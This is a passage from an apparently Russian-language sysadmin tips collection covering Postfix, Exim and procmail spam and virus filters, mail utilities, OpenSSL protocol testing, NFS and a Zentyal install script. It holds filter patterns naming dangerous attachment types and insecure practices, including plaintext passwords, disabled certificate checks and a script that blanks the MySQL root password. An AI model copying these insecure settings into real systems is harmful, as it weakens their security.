       relocated_maps=hash:/usr/local/etc/postfix/relocated
       maximal_queue_lifetime = 1h
       delay_warning_time = 1h
       bounce_notice_recipient = it
       2bounce_notice_recipient = it
       error_notice_recipient = it
       smtp_skip_4xx_greeting = yes
       smtp_skip_5xx_greeting = no
       access_map_reject_code = 550
       reject_code = 550
       unknown_client_reject_code = 550
    
    Правила фильтрации в файле mime_checks:
    
       /^\s*Content-(Disposition|Type).*name\s*=\s*"?(.+\.(lnk|asd|hlp|ocx|reg\
          |bat|c[ho]m|cmd|exe|dll|vxd|pif|scr|hta|jse?|sh[mbs]|vb[esx]|ws[fh]\
          |wav|mov|wmf|xl|jpg|bmp|gif|mp3))"?\s*$/ \
          REJECT 550 Attachment type not allowed. File "$2" has unacceptable extension "$3"
    
    Для дублирования уведомлений на служебный адрес, нужно указать:
           bounce_notice_recipient = it
           2bounce_notice_recipient = it
           error_notice_recipient = it
       где it - Ваше е-mail или группа рассылки.
    
     
    ----* Проверка фильтров postfix (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [обсудить]
     
    Как проверить фильтры для postfix? Очень просто:
      $ postmap -q "Content-Type: 1.exe" regexp:/etc/postfix/header_checks
    
    Или просто входом с файла
      $ postmap -q - regexp:/etc/postfix/body_checks < msg_file
    
    Замечание: postmap не делает различий между header, subject и bodymessage.
    
     
    ----* Запрещение внешней почты с указанием собственным домена в качестве отправителя. (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [комментарии]
     
    Когда спам идет от адреса домена пользователю домена.
       helo somehost
       mail from: me@mydomain.ru
       rcpt to: me@mydomain.ru
      data
    
    Т.е. когда почта принимается с любого IP адреса для $mydestination на MX. 
    А с внешнего адреса она к нам приходить не может. Это не есть правильно. Лечить
    в Postfix так (main.conf):
       smtpd_recipient_restrictions =
       permit_mynetworks,
       check_sender_access hash:/usr/local/etc/postfix/antispam/wtf,
       ограничения дальше,
       ...
    
    потом, в antispam/wtf
       brj.pp.ru 554 brj.pp.ru sender? What the fuck? You're not in mynetworks!
    
    потом
       makemap hash /usr/local/etc/postfix/antispam/wtf.db < /usr/local/etc/postfix/antispam/wtf
    
     
    ----* Ограничения для адреса отправителя в Postfix   Автор: Косенков Игорь  [комментарии]
     
    Иногда требуется ограничить прием почты для Postfix только с определенных доменов.
    Пример - внутренний почтовый сервер для приема и отправки почты только в локальной сети.
    В этом случае нам нужно , чтобы почта ходила только внутри некоего домена - mydomain.ru.
    
    Делаем следующее. В main.cf:
       smtpd_sender_restrictions = check_sender_access hash:/etc/postfix/access, reject
    В файле access:
       #здесь перечисляем домен(ы) для которых почта разрешена почта
       mydomain.ru  OK
    Затем 
       postmap access
       postfix reload
    Теперь будет приниматься почта только для тех, у кого в поле MAIL FROM стоит mydomain.ru. 
    Для всех остальных - генериться код "Acces denied".
    
     
    ----* Проверка наличия пользователя на этапе соединения в Postfix (2 способ)   Автор: Косенков Игорь  [комментарии]
     
    2 способ позволяет среди всех пользователей в системе
     отобрать тех, которым ДЕЙСТВИТЕЛЬНО нужна почта.
    В main.cf:
            local_recipient_maps = hash:/etc/postfix/users
    Сюда же можно добавить $alias_maps.
    
    В /etc/postfix/users заносим всех пользователей, для которых надо принимать почту:
       user1 здесь_что-нибудь
       user2 здесь_что-нибудь
    "здесь_что-нибудь" - это набор все равно каких символов, чтобы выполнилась команда postmap.
    
    Затем postmap /etc/postfix/users. И, конечно, postfix reload.
    
    Теперь почта будет приниматься только для пользователей из файла users.
    Для остальных  будет генериться "User unknown in local recipient table" на этапе соединения. 
    
     
    ----* Подключение RBL и списков блокировки в Postfix 2   Автор: awk  [комментарии]
     
    smtpd_client_restrictions = ...
                  reject_rbl_client list.dsbl.org
                  check_recipient_access hash:/etc/postfix/skipcheck,
                  reject_unknown_client
    Предпоследняя строка позволяет разрешить получение почты для некоторых
    получателей с unknown адресов.
    только для этого необходимо указать в конфиге smtpd_delay_reject=yes
    
    тогда даже на этапе HELO можно указывать исключения на основе адреса получателя:
    smtpd_helo_restrictions = permit_mynetworks,
                           reject_invalid_hostname,
                           reject_non_fqdn_hostname,
                           check_recipient_access hash:/etc/postfix/skipcheck,
                           reject_unknown_hostname
    
     
    ----* Фильтры в Postfix для копирования исходящей почты (доп. ссылка 1)   Автор: Косенков Игорь  [комментарии]
     
    1. В master.cf добавить строку:
        backup unix - n n - - pipe flags=R user=postfix argv=/etc/postfix/script ${sender} ${recipient}
    2. В /etc/postfix/script должно быть:
        #!/bin/bash
        /usr/sbin/sendmail -f $1 $2 backup@mydomain.ru
    3.Добавить в main.cf:
        smtpd_sender_restrictions = что там есть, hash:/etc/postfix/smtpd.sender
    4. Создать файлик /etc/postfix/smtpd.sender такого вида (потом сделать postmap smtpd.sender):
        user@mydomain.ru FILTER backup:
    
     
    ----* Простые и эффективные regex для блокирования спама по имени домена   [комментарии]
     
    /^dsl.*\..*\..*/i       553 AUTO_DSL spam
    /[ax]dsl.*\..*\..*/i    553 AUTO_XDSL spam
    /client.*\..*\..*/i     553 AUTO_CLIENT spam
    /cable.*\..*\..*/i      553 AUTO_CABLE spam
    /pool.*\..*\..*/i       553 AUTO_POOL spam
    /dial.*\..*\..*/i       553 AUTO_DIAL spam
    /ppp.*\..*\..*/i        553 AUTO_PPP spam
    /dslam.*\..*\..*/i      553 AUTO_DSLAM spam
    /node.*\..*\..*/i       553 AUTO_NODE spam
    
    Подключение для Postfix: в main.cf, к smtpd_client_restrictions списку добавить regexp:путь
    
     
    ----* Как в Exim отфильтровать спам по базе открытых релеев.   Автор: dawnshade  [обсудить]
     
    После строки "require verify = sender"
       deny    message       = Access denied - $sender_host_address listed by $dnslist_domain\n$dnslist_text
               dnslists      = dnsbl.sorbs.net
       deny    message       = message from $sender_host_address rejected - see http://njabl.org/
               dnslists      = dnsbl.njabl.org
       deny    message       = rejected because $sender_host_address for bad WHOIS info, see http://www.rfc-ignorant.org/
               dnslists      = ipwhois.rfc-ignorant.org
       deny    message       = rejected because $sender_host_address is in a black list at $dnslist_domain\n$dnslist_text
               dnslists      = dialups.mail-abuse.org
       deny    message       = rejected because $sender_host_address is in a black list at $dnslist_domain\n$dnslist_text
               dnslists      = list.dsbl.org
       deny    message       = Spam blocked see: http://www.spamcop.net/w3m?action=checkblock&ip=$sender_host_address
               dnslists      = bl.spamcop.net
       deny    message       = rejected because $sender_host_address is in a black list at $dnslist_domain\n$dnslist_text
               dnslists      = relays.ordb.org
       deny    message       = rejected, $sender_host_address Open Proxy, see: $dnslist_domain\n$dnslist_text
               dnslists      = dnsbl.void.ru
    
     
    ----* Как отфильтровать в postfix ALC спам   Автор: Antony  [комментарии]
     
    Postfix:
        body_checks = regexp:/etc/postfix/body_checks
    
    Пример для "AMER ICAN  LA NGUAGE CENTER" 
    /etc/postfix/body_checks:
    ~^[[:alnum:]+/]{60,}[[:space:]]*$~     OK
    /.*A.*M.*E.*R.*I.*C.*A.*N.*L.*A.*N.*G.*U.*A.*G.*E.*C.*E.*N.*T.*E.*R.*/     REJECT Body Spam Rule NN
    
     
    ----* Как отфильтровать спам по базе открытых релеев.   [комментарии]
     
    Postfix:
        maps_rbl_domains = work.drbl.caravan.ru, dul.ru, relays.ordb.org
        maps_rbl_reject_code = 550
        smtpd_client_restrictions = reject_maps_rbl
    Sendmail (в sendmail.mc):
        FEATURE('dnsbl', 'dul.ru', 'Use mail relays of your ISP')dnl
        FEATURE('dnsbl', 'work.drbl.caravan.ru', `Use mail relays of your ISP')dnl
        FEATURE('dnsbl', 'relays.ordb.org', 'Spam bloked from open relay.')dnl
    Ссылки: http://www.drbl.ofisp.org/zones.html , http://www.dul.ru/ ,  http://ordb.org/faq/
    
     
    ----* Где взять примеры написания фильтров к MTA для блокирования вирусов.   [комментарии]
     
    Exim: ftp://ftp.exim.org/pub/filter/
    Подключается через: message_filter = /etc/exim/system_filter.exim
    Procmail: ftp://ftp.rubyriver.com/pub/jhardin/antispam/html-trap.procmail
    Postfix: http://www.mrbill.net/postfix/
             http://www.opennet.ru/base/net/postfix_filter.txt.html
    
     
    ----* Как через procmail блокировать спам.   [обсудить]
     
    Вот пример моего .procmailrc, фильтует наиболее примитивные попытки спэма:
            :0
            * ^To: undisclosed-recipients
            /home/mc/Mail/Trash
            :0
            * !^To: .*@
            /home/mc/Mail/Trash
            :0
            * ^X-Mailer:.*Advanced Mass
            /home/mc/Mail/Trash
            :0
            * ^Content-Type.*indows-1251
            /home/mc/Mail/Trash
            :0
            * ^Content-Disposition: attachment;  filename=.*\.(pif|bat|com|exe|lnk)
            /home/mc/Mail/Trash
    
     
    ----* Как вырезать вирусы из письма используя Postfix   [обсудить]
     
    /etc/postfix/main.cf:
    body_checks = regexp:/etc/postfix/body_checks
    header_checks = regexp:/etc/postfix/header_checks
    /etc/postfix/body_checks:
    # Вырезаем EXE файлы.
    # в скобках [     ] - один пробел и один символ табуляции.
    /^[     ]*name=.*\.(exe|dll|eml|vbs|pif|com|bat|scr|lnk)\"?$/           REJECT
    /\<iframe src=cid\:.* height=0 width=0\>/i      REJECT
    /^Content-Disposition: attachment; *filename=.*\.(exe|dll|eml|vbs|pif|com|bat|scr|lnk).*/i   REJECT
    /etc/postfix/header_checks:
    # Sircam
    /^Content-Type:multipart.*"----[A-F0-9]+_Outlook_Express_message_boundary"/i    
    # Nimbda
    /^X-Unsent: 1/  REJECT
    /^X-Mailer: Advanced Mass Sender/       REJECT                                 
    /^X-Mailer: Mail Bomber/        REJECT                                      
    /^X-Mailer: .*\-VC_IPA \[/      REJECT
    
     

       Отправка и пересылка сообщений на уровне пользователя

    ----* Настройка maildrop для автоматической подписки на багрепорты на bugs.debian.org   Автор: Alexander Galanin  [обсудить]
     
    К сожалению, на bugs.debian.org функция автоматической подписки на отправленные
    багрепорты не реализована. Также процесс подписки требует отправки письма и
    подтверждения, поэтому возникло желание это дело автоматизоровать.
    
    С использованием maildrop у меня получилось нижеприведённое. В случае, если
    письмо ни под одно из правил не подходит, оно будет помещено в maildir-каталог
    "bugs", информация о проведённых действиях добавляется в лог maildrop-а.
    
    Подписываемся на отправленный багрепорт:
    
       if (/^To: .*<submit@bugs.debian.org>/ && /^Subject: Bug#[0-9]+/)
       {
           /^X-Debian-PR-Message: report ([0-9]+)/
           bug = $MATCH1
           if ($bug ne "")
           {
               # subscription
               mail = $bug-subscribe@bugs.debian.org
               cc "| echo | mailx $mail"
               log "Debbugs: Subscribed to $bug"
           }
           to $DEFAULT/.bugs
       }
    
    Подтверждение подписки и игнорирование письма об удачном завершении подписки:
    
       if (/^From: ([0-9]+)-subhelp@bugs.debian.org$/)
       {
           bug = $MATCH1
           if (/^Subject: Please confirm subscription/)
           {
               /^Reply-To: .*/
               mail = getaddr($MATCH)
               if ($mail ne "")
               {
                   cc "| echo | mailx $mail"
                   log "Debbugs: Confirmed subscription to $bug"
                   to /dev/null
               }
           }
           if (/^Subject: Subscription to [0-9]+@bugs.debian.org successful/)
           {
               log "Debbugs: Subscription to $bug successful"
               to /dev/null
           }
           # fallback rule
           to $DEFAULT/.bugs
       }
    
     
    ----* Настройка msmtp для отправки уведомлений администратору по E-Mail (доп. ссылка 1) (доп. ссылка 2)   Автор: Netc & PavelR  [комментарии]
     
    Системные демоны устанавливаемые на Linux-машинах как правило уведомляют
    пользователя root о важных событиях происходящих на сервере использую командный
    интерфейс sendmail или mail.
    
    Для того, чтобы системные демоны отправляли почту не на локально настроенный
    MTA пользователю root@localhost или root@servername а другой адрес email для
    этого можно:
    
    1. Настроить на использование smarthost локальный mta идущий в стандартной
    установке ОС, например для Debian это Exim, для Ubuntu - Postfix. Но при этом
    сам smarthost не должен отбрасывать от вашего сервера почту, что не всегда возможно!
    
    2. Использовать что-то еще ...
    
    3. Использовать msmtp
    
    ВАЖНО! Многие smtp требуют чтобы поле "From:" было равно тому, под кем серверу
    представляется MUA. В достижении этого нам поможет msmtp - мощный почтовый
    консольный клиент (MUA) с интерфейсом sendmail.
    
    Одно из очень необходимых качеств которого является умение заменять Отправителя
    на Отправителя указанного в конфигурации /etc/msmtprc
    
    Поэтому его очень легко использовать в качестве MUA отправляющего почту
    администратору сервера через SMTP популярных почтовых провайдеров, например
    smtp.yandex.ru, smtp.google.ru и т.д.
    
    Для достижения поставленной цели на Debian based системах необходимо выполнить следующие шаги :
    
    1. Устанавливаем msmtp 
    
       aptitude -R -y install msmtp 
    
    2. Редактируем /etc/msmtprc
    
       defaults
    
       account default
       host smtp.yandex.ru
       port 25
       auth on
       tls on
       tls_starttls on
       tls_certcheck off
       user user@example.com
       password adminplaintextpassword
       from admin@example.com
       logfile msmtp.log
    
    Параметр tls_certcheck off используется для упрощения статьи, в дальнейшем
    можно будет его включить, но при этом необходимо будет произвести определенные
    действия с сертификатами удаленного сервера и их размещении на вашем клиенте.
    Что усложняет процесс настройки.
    
    3. Делаем символическую ссылку, чтобы программы использующие стандартный
    интерфейс файла sendmail, использовали при этом msmtp. а не например
    установленный exim, postfix, nullmailer и т.д.
    
    Для Debian/Ubuntu:
    
      update-alternatives --install /usr/sbin/sendmail sendmail /usr/bin/msmtp 10
    
    Для остальных систем смыл действия сводится к использованию аналогичных средств
    для замены симлинка (ln -s /usr/bin/msmtp /usr/sbin/sendmail).
    
    4. Проверяем отправку стандартным способом через команду sendmail или mail
    
    5. Настраиваем, например, mdadm, smartd через указание в конфигах нужного email администратора.
    
    Примечание: в mdadm.conf можно указать только один email
    
    Проверить отправку почты mdadm можно командой:
    
       mdadm --monitor --scan --test --oneshot
    
    Проверить отправку почты smartd можно отредактировав /etc/smartd.conf
    обязательно добавив параметры "-m admin@example.com" и "-M test" в строку
    конфигурации, например:
    
       DEVICESCAN ... -m admin@tech-club.ru -M test ...
    
    DEVICESCAN - для всех устройств в системе.
    
    и выполнив перезапуск smartd 
    
       invoke-rc.d smartmontools restart
    
     
    ----* Использование OpenSSL для тестирования POP3, IMAP, SMTP, WEB сервера с TLS/SSL/SASL  (доп. ссылка 1)   [комментарии]
     
    Для тестирования работы  TLS/SSL на POP3 сервере можно использовать входящий в
    состав OpenSSL клиент s_client (для тестирования SSL-клиентов по аналогии можно
    использовать s_server):
    
       openssl s_client -connect имя_хоста:995
    
    после чего можно сэмулировать типичную POP3-сессию:
    
       +OK Dovecot ready.
    
       user логин
       +OK
    
       pass пароль
       +OK Logged in.
    
    выводим список сообщений на сервере и их размер:
    
       list
       +OK 2 messages:
       1 1759
       2 12422
    
    читаем первое сообщение:
    
       retr 1
       +OK 1759 octets
       заголовки и текст 
    
    Тестирование IMAP проводится в соответствии с теми же принципами:
    
       openssl s_client -connect imap_хост:993
    
       CONNECTED(00000003)
       ....
       * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE AUTH=PLAIN AUTH=LOGIN] Dovecot ready.
    
       login логин пароль
       a001 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR ... CONTEXT=SEARCH LIST-STATUS QUOTA] Logged in
    
    выводим список папок:
    
       a002 list "" "*"
       * LIST (\HasChildren) "." "INBOX"
       * LIST (\HasNoChildren) "." "INBOX.INBOX_Trash"
       * LIST (\HasNoChildren) "." "INBOX.Trash"
       * LIST (\HasNoChildren) "." "INBOX.read"
       * LIST (\HasNoChildren) "." "INBOX.Queue"
       * LIST (\HasNoChildren) "." "INBOX.INBOX_Drafts"
    
    посмотрим содержимое папки Inbox:
    
       a003 examine inbox
       * FLAGS (\Answered \Flagged \Deleted \Seen \Draft Junk NonJunk)
       * OK [PERMANENTFLAGS ()] Read-only mailbox.
       * 10 EXISTS
       * 0 RECENT
       * OK [UNSEEN 1] First unseen.
       * OK [UIDVALIDITY 1291459647] UIDs valid
       * OK [UIDNEXT 8026] Predicted next UID
       * OK [HIGHESTMODSEQ 2710] Highest
       a003 OK [READ-ONLY] Select completed.
    
    В папке 10 сообщений, выведем содержимое текста четвертого сообщения, без заголовков:
    
       a004 4 rfc822.text
       * 4 FETCH (RFC822.TEXT {857}
       текст
       a005 OK Fetch completed.
    
    выходим
    
       a005 logout
       * BYE Logging out
       a005 OK Logout completed.
    
    
    Тестируем сайт по SHTTP:
    
       openssl s_client -connect www.test.com:443
    
       GET / HTTP/1.1
       Host: test.com
    
    
    Проверяем SASL-аутентификацию при отправке почты:
    
       openssl s_client -connect smtp_хост:25 -starttls smtp
    
       220 mail.test.com ESMTP Postfix
       EHLO test.test.com
    
       250-mail.test.com
       250-PIPELINING
       250-SIZE 10240000
       250-ETRN
       250-AUTH DIGEST-MD5 PLAIN CRAM-MD5
       250 8BITMIME
       AUTH PLAIN пароль_в_base64_нотации
    
       235 Authentication successful
    
    Перекодировать файл с паролем  в base64-представление можно командой:
    
       openssl enc -base64 -in file.txt -out mfile.b64
    
    декодировать:
    
       openssl enc -d -base64 -in file.b64 -out file.txt
    
    
    Другие полезные команды:
    
    Шифруем файл симметричным шифром blowfish (если необходимо сохранение в
    base64-представлении добавляем опцию "-a"):
    
       openssl enc -e -salt -bf -in file.txt -out file.blowfish
       enter bf-cbc encryption password: пароль
    
    расшифровываем:
    
       openssl enc -d -bf -in file.blowfish -out file.txt
       enter bf-cbc decryption password: пароль
    
    Рассчитываем SHA1-хэш для файла:
    
       openssl dgst -sha1 -c file.txt
       SHA1(test.txt)= 15:85:f1:af:a7:ca:1c:1c:5a:8b:c3:a7:1e:7f:4b:bd:3c:d4:22:ca
    
    
    Для перехвата и расшифровки SSL/TLS трафика в отладочных целях можно использовать утилиту ssldump:
    
    наблюдение за активностью внутри SSL-сессии:
    
       ssldump -a -A -H -i eth0
    
    со служебными данными для полной отладки SSL-сессии:
    
       ssldump -a -A -H -k server.pem -i eth0
    
    для расшифровки содержимого сессии:
    
       ssldump -d -k server.pem -i eth0
    
    Для успешной расшифровки SSL-сессия должна быть перехвачена с самого начала,
    включая момент обмена ключами на стадии инициирования сессии.
    
     
    ----* Резервное копирование почтового ящика Gmail в Linux   [комментарии]
     
    Вариант 1. GUI интерфейс.
    
    Загружаем с сайта http://www.gmail-backup.com/download программу gmail-backup.
    
    Убедимся, что в системе установлен Python 2.5, библиотеки wxWidgets и модуль wxPython 
    (в Debian/Ubuntu пакеты python2.5 python-wxversion).
    
    Активируем "Включить IMAP" в настройках Gmail доступ через IMAP
    (Settings / Forwarding and POP/IMAP или Настройки / Пересылка и POP/IMAP).
    
    Для начала резервного копирования запускаем GUI интерфейс и вводим необходимые параметры аккаунта:
    
       ./gmail-backup-gui.sh
    
    Автоматизировать загрузку резервных копий можно через поставляемый в комплекте
    с gmail-backup скрипт:
    
       ./gmail-backup.sh backup имя_папки user@gmail.com пароль
    
    Для выборочного бэкапа нужно использовать:
    
       ./gmail-backup.sh backup dir user@gmail.com password 20070621 20080101
    
    Для восстановления данных:
    
       ./gmail-backup.sh restore dir user@gmail.com password
    
    Для копирования только новых данных, накопившихся с момента прошлого бэкапа:
    
       ./gmail-backup.sh backup dir user@gmail.com password --stamp
    
    Как видно у скрипта имеется существенная проблема - необходимость указания
    пароля прямо в командной строке,
    что с точки зрения безопасности неприемлимо. Исправить ситуацию не получается,
    пакет распространяется только в бинарном виде.
    
    Вариант 2. Использование пакета getmail:
    
    Ставим getmail (http://pyropus.ca/software/getmail/):
    
       sudo apt-get install getmail4
    
    Создаем 2 директории: .getmail для хранения настроек и директорию gmail-archive
    для хранения бэкапа.
       
       mkdir ~/.getmail
       mkdir ~/gmail-backup
    
    Создаем файл конфигурации ~/.getmail/getmail.gmail:
    
        [retriever]
        type = SimpleIMAPSSLRetriever
        server = imap.gmail.com
        username = user@gmail.com
        password = password
    
        [destination]
        type = Maildir
        path = ~/gmail-backup/ 
        
        # Если вместо maildir нужно использовать формат mbox:
        # type = Mboxrd
        # path = ~/gmail-backup/gmail.mbox
    
        [options]
        verbose = 2
        message_log = ~/.getmail/gmail.log 
    
    Запускаем копирование писем:
    
       getmail -r ~/.getmail/getmail.gmail
    
     
    ----* Отправка gmail почти через msmtp (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [комментарии]
     
    Проблема. Хожу я с ноутбуком по разным местам. Разные провайдеры. Разные настройки. 
    Необходимо с ноутбука доставлять почту для мира. Ноутбук работает под FreeBSD.
    Как решить проблему?
    Ответ очень простой. Нужно установить пакет msmtp. Он занимается доставкой
    почты от клиента к серверу.
    Правильно назвать это будет MDA - Mail Delivery Agent. У меня есть почта в системе google. 
    Собственно через smtp gmail я и буду делать доставку. Сначала необходимо
    установить msmtp. Вот файл настроек:
    
       $ cat .msmtprc
       account default host smtp.gmail.com port 587
       protocol smtp auth on from mylogin@gmail.com user mylogin@gmail.com
       password пароль tls on tls_starttls on 
    
     
    ----* Как прикрепить 48x48 иконку к письму (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Содержимое черно-белой 48x48 иконки передается через заголовк X-Face, цветной - Face 
    (PNG картинка, размером после base64 кодирования не больше 998 байт, разбивка
    по 79 символов в строке).
    
    Скрипт для преобразования Jpeg в "Face:"
    
    #!/bin/bash
    
    jpg=$1
    png=$2
    
    if [ "$jpg" = "" -o "$png" = "" ]; then
       echo "Usage: make-face <JPG-FILE> <BASE64-FILE>"
       exit
    fi
    
    quant=16
    found=false
    tmp=/tmp/make-face.$$.tmp
    
    while [ "$found" = "false" ]; do
        echo -n "Trying quantization $quant ($jpg)..."
        djpeg "$jpg"\
    	| ppmnorm\
    	| pnmscale -width 48 -height 48\
    	| ppmquant $quant\
    	| pnmtopng\
    	| mimencode > $tmp
        size=`ls -l $tmp | awk '{ print $5; }'`
        if [ $size -lt 993 ]; then
    	echo -n "Face:" > "$png"
    	for i in `cat $tmp`; do
    	    echo -n " " >> "$png"
    	    echo "$i" >> "$png"
    	done
    	rm $tmp
    	found=true
    	echo "done"
        else
    	quant=`expr $quant - 2`
    	echo "too big ($size)"
        fi
    done
    
        
    
     
    ----* Как послать письмо с аттачем из shell (доп. ссылка 1)   Автор: Vadim Fedorov  [комментарии]
     
    metasend -b -s "$SUBJECT" -f $TXTFILE -m text/plain -e none -n \
             -f $ATTFILE -m application/octet-stream -e base64 -t $MAILTO
      
    mpack -s "$SUBJECT" -c application/octet-stream $ATTFILE $MAILTO
     
    mutt -a $ATTFILE -s "$SUBJECT" $MAILTO < $TXTFILE
    
     
    ----* Как из командной строки послать письмо с приаттаченным файлом   [обсудить]
     
    metasend
    В зависимости от типа файла, в качестве Content-type пишем:
    application/gzip
    application/zip
    application/postscript
    image/jpeg
    image/png
    audio/basic
    audio/mpeg3
    audio/wav
    
     
    ----* Как отправить все сообщения из mailbox на другой email   [комментарии]
     
    cat /var/spool/mail/user_name | formail -s sendmail some@email
    
    Во FreeBSD утилита formail идет в комплекте с портом procmail
    
     
    ----* Уведомления о свежей почте в conky, dzen и xmobar   Автор: Andrey Bortnik  [комментарии]
     
    Ниже описан способ отображения в conky, dzen, xmobar и т.п. уведомления о
    наличии свежей почты в maildir.
    
    Преимущества данного способа: 
    1) он выдержан в стиле unix way, 
    2) не требует обращаться к жёсткому диску чаще, чем это необходимо.
    
    Описание относится к Arch Linux, но процедура достаточно проста, чтобы легко
    перенести её на любую систему с достаточно свежим ядром Linux.
    
    Идея в том, что появление свежей почты отслеживается посредством incron; при
    появлении нового сообщения вызывается скрипт mailstat.sh (см. ниже), который
    считает новые сообщения в maildir, наблюдаемых incron-ом, формирует
    текст-уведомление для пользователя и выдаёт это сообщение в именованный канал.
    Со своей стороны, к примеру, conky читает из того же именованного канала и
    отображает сообщение. Скрипт пишет в канал многократно, в бесконечном цикле,
    чтобы сообщение не пропадало из conky; при запуске очередного экземпляра
    скрипта он прибивает все предыдущие.
    
    Итак, предположим, у нас Arch Linux с пользователем moses и его maildir-ами
    /home/moses/Mail/work, /home/moses/Mail/club, куда периодически скачивается
    почта с POP3-сервера. moses хочет узнавать о наличии свежей почты как можно
    скорее, но не хочет поминутно лазить в почтовый клиент - он предпочёл бы видеть
    уведомления на панели xmobar.
    Вообще говоря, maildir-ов может быть больше, но moses хочет видеть уведомления только об этих. 
    
    Устанавливаем incron.
    
       > sudo pacman -S incron
    
    Разрешаем moses-у использовать incron.
    
       > sudo vim /etc/incron.allow
       moses
    
    Создаём скрипт mailstat.sh.
    
    vim ~/scripts/mailstat.sh
    
    #!/bin/bash
    TARGET=/tmp/mailstat
    IT=mailstat
    # определяем отслеживаемые  maildir-ы
    DIRS=`incrontab -l | grep $IT | awk '{print $1;}' | sort -u`
    # подсчитываем свежие  сообщения в  maildir-ах
    T=""
    for d in $DIRS
    do
       c=`find $d -type f | wc -l`
       if [[ $c -gt 0 ]]; then
          T=$T`echo $d | sed -e 's/\/new$//' | sed -e 's/^.*\///'`": "$c" "
       fi
    done
    # прибиваем ранее  запущенные экземпляры  скрипта
    PIDS=`ps -eo pid,comm | grep $IT | grep -v $$ | awk '{print $1;}'`
    for p in $PIDS
    do
       if [[ $p != $$ ]]; then
          kill -9 $p 2>/dev/null
       fi
    done
    # создаём именованный  канал
    if [ ! -e $TARGET ]; then
       mkfifo $TARGET
    fi
    # пишем сообщение  в канал
    while true ; do
       echo $T > $TARGET
    done
    
    
    Запускаем incron.
    
       > sudo /etc/rc.d/incrond start
    
    Настраиваем incron.
    
       > incrontab -e
       /home/moses/Mail/work/new IN_CREATE,IN_DELETE,IN_MOVED_FROM /home/moses/scripts/mailstat.sh
       /home/moses/Mail/club/new IN_CREATE,IN_DELETE,IN_MOVED_FROM /home/moses/scripts/mailstat.sh
    
    Убеждаемся, что изменения возымели действие.
    
       > incrontab -l
    
    Передёргиваем incron.
    
       > incrontab -d
    
    Настраиваем xmobar для отображения уведомлений.
    
       > vim ~/.xmobarrc
       Config { font = "-xos4-terminus-medium-r-normal--12-120-72-72-c-60-*-*"
              , bgColor = "black"
              , fgColor = "grey"
              , position = Top
              , lowerOnStart = True
              , commands = [ Run Com "timeout" ["1  tail -n  1 /tmp/mailstat"] "mail" 5
                           , Run StdinReader
                           ]
              , sepChar = "%"
              , alignSep = "}{"
              , template = "%StdinReader%}{ <fc=#ee9a00>%mail%</fc>"
              }
    
    Настраиваем автозапуск incron.
    
       > sudo vim /etc/rc.conf
       DAEMONS=(@metalog network @crond @incrond)
    
     

       NFS

    ----* Настройка NFS сервера и NFS клиента под FreeBSD и Linux   [комментарии]
     
    NFS сервер (FreeBSD):
    
    /etc/rc.conf:
    
        portmap_enable="YES"
        nfs_server_enable="YES"
        nfs_reserved_port_only="YES"
    
    /etc/exports (man exports):
        /usr/local/nfs -rw 192.168.1.2
        /usr/local/nfs -ro -mapall=nobody -network 192.168.1 -mask 255.255.255.0
        /cdrom -alldirs,quiet,ro -network 192.168.33.0 -mask 255.255.255.0
    
    Для Linux /etc/exports будет выглядеть примерно так (запуск - service start portmap и nfs):
    
        /usr/local/nfs  192.168.1.0/255.255.255.0(ro) 192.168.2.1(rw)
    
    NFS клиент:
    
    /etc/rc.conf: 
       portmap_enable="YES", nfs_client_enable="YES"
    
    /etc/fstab:
        192.168.1.1:/usr/local/nfs          /home/nfs   nfs ro  0   0
    
    или вручную:
       /sbin/mount_nfs -r 32768 -w 32768 -i noatime 192.168.1.1:/usr/local/nfs /home/nfs 
    
    Для оптимизации производительности рекомендуется при монтировании в Linux указывать параметры:
       rsize=32768,wsize=32768,intr,noatime
    
    Число запущенных клиентов и серверов под FreeBSD регулируется 
    через параметр "-n" в переменных rc.conf: nfs_client_flags и nfs_server_flags
    
    В некоторых Linux дистрибутивах число серверов задается в файле /etc/sysconfig/nfs, 
    переменная NFSDCOUNT, значение которой передается как аргумент при запуске rpc.nfsd.
    
     

       Samba

    ----* Ubuntu как сервер Zentyal + MyDLP + Webmin + SAMS2   Автор: Валерий  [комментарии]
     
    Скрипт для автоматизации установки и запуска связки Zentyal + MyDLP + Webmin +
    SAMS2 в Ubuntu Linux. Скрипт запускается с правами root и рассчитан на работу в
    Ubuntu 12.04. Для других систем скрипт может использоваться как заметка о том,
    что не забыть при установке.
    
       #!/bin/sh
       # INSTALL SCRIPT PROXY ALLURGROUP
       export DEBIAN_FRONTEND=noninteractive
    
       echo "INSTALL DLP COMPLETE"
       wget -q http://keys.zentyal.org/zentyal-3.2-archive.asc -O- | apt-key add -
       apt-get install -y -q python-software-properties
       add-apt-repository -y ppa:zentyal/3.2
       apt-get update
       DEBIAN_FRONTEND=noninteractive apt-get -y -q  install zentyal
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install language-pack-zentyal-ru
       echo "ZENTYAL INSTALL COMPLETE PLEASE GO TO HTTPS://IP:4443"
    
    
       sed 's/443/4443/' /var/lib/zentyal/conf/nginx.conf > /var/lib/zentyal/conf/nginx.conf.new &
       sleep 5
       mv /var/lib/zentyal/conf/nginx.conf.new /var/lib/zentyal/conf/nginx.conf
       sleep 5
       killall nginx
       netstat -an | grep 443
    
       echo "use mysql;" > proxy.sql
       echo 'update user set password=PASSWORD("")' "where User='root';" >> proxy.sql
       echo "flush privileges;" >> proxy.sql
       echo "quit" >> proxy.sql
    
       /etc/init.d/mysql stop &
       sleep 5
       mysqld_safe --skip-grant-tables &
       sleep 5
       mysql -u root < proxy.sql &
       sleep 5
       /etc/init.d/mysql stop &
       sleep 5
       /etc/init.d/mysql start &
       sleep 5
    
    
    
       echo "deb ftp://ftp.linux.org.tr/mydlp/ubuntu precise main" >> /etc/apt/sources.list
       apt-get update
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install mydlp mydlp-appliance
    
    
       echo 'LANG=ru_RU.UTF-8' >   /etc/default/locale
       echo 'LANGUAGE=ru_RU.UTF-8' >> /etc/default/locale
       echo 'LC_CTYPE="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_NUMERIC="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_TIME="ru_RU.UTF-8"' >> /etc/default/locale  
